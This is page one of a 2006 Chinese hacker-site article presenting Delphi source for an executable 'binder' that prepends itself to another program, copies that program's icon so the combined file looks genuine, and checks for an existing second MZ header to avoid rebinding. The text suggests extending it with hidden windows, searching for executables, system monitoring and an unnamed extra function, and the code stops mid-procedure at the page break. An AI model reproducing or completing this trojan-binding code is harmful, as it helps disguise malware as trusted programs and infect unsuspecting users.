黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图
您现在的位置: 黑客风云 >> 黑客文章 >> 黑客入门 >> 电脑新手 >> 文章正文
[推荐]捆绑执行文件新思维
        ★★★★
捆绑执行文件新思维
文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2006-8-26

最新功能:与其它程序捆绑后,图标为其它程序的图标 
这个示范程序没有form,编译、压缩后仅40K,运行后不长驻内存 
如果加上隐藏的窗体,加上搜索可执行程序的功能,加上监视系统的功能,加上 %$#@*^ 功能... 

程序中几个数字的确定: 
1 在本程序编译后用Aspack.Exe压缩,大小为41472 
2 经过分析,本程序在用Aspack.Exe压缩后,图标前面部分长40751,图标数据 
位于从第40752字节开始共640字节,图标后还有81字节 

与其它程序捆绑的过程: 
本程序的前40751字节+被捆绑程序的图标+本程序最后81字节+被捆绑程序全部 

怎么找到图标的位置: 
将程序的图标设定为一个32*32的红色块,在程序经过编译、压缩后,用十六进制 
编辑软件载入,查找“99 99 99”字符串即可。以后你可为程序加上其它合适的图标。 
十六进制编辑软件:常用UltraEdit。 
本人嫌它有日期限制,自编了一个,有十六进制编辑、比较、查找功能,并在不断完善中,对付几百K的文件没问题: 
http://guanbh.top263.net/download/hexedit.exe 

program exe2; 

uses 
classes, 
Tlhelp32, 
windows, 
graphics, 
ShellAPI, 
SysUtils; 

{$R *.RES} 

var 
lppe:TProcessEntry32; 
found:boolean; 
handle:THandle; 
ProcessStr,ExeName:string; 
WinDir:pchar; 
const 
MySize=41472; {!!这个值要根据编译或压缩后的文件大小进行修改!!} 

procedure copy2(s:string); 
var 
s1,s2,IcoStream:TMemoryStream; 
File2:TFilestream; 
ch:array[0..1] of char; 
ss:string; 
filetime,fhandle:integer; 
l:integer; 
File2Icon:Ticon; 
begin 
{若文件s不存在} 
if FileExists(s)=False then exit; 
try 
{若文件不含图标,就不捆绑} 
File2Icon:=Ticon.Create; 
l:=extracticon(handle,pchar(s),0); 
if l=0 then 
begin 
File2Icon.Free; 
exit; 
end 
else 
begin 
{提取被捆绑程序图标} 
File2Icon.Handle:=extracticon(handle,pchar(s),0); 
IcoStream:=TMemoryStream.Create; 
File2Icon.SaveToStream(IcoStream); 
File2Icon.Free; 
end; 
{判断文件s中有没有第2个程序头'MZ'。若有,表示已经合并过} 
File2:=TFilestream.Create(s,fmopenread); 
if File2.Size>MySize then 
begin 
File2.Position:=MySize; 
File2.Read(ch,2); 
ss:=copy(ch,1,2); 
if ss='MZ' then 
begin 
File2.Free; 
exit; 
end; 
end; 
File2.Free; 

[1] [2] 下一页  

文章录入:cainiaowang    责任编辑:cainiaowang 
【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
VIP 专 区
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886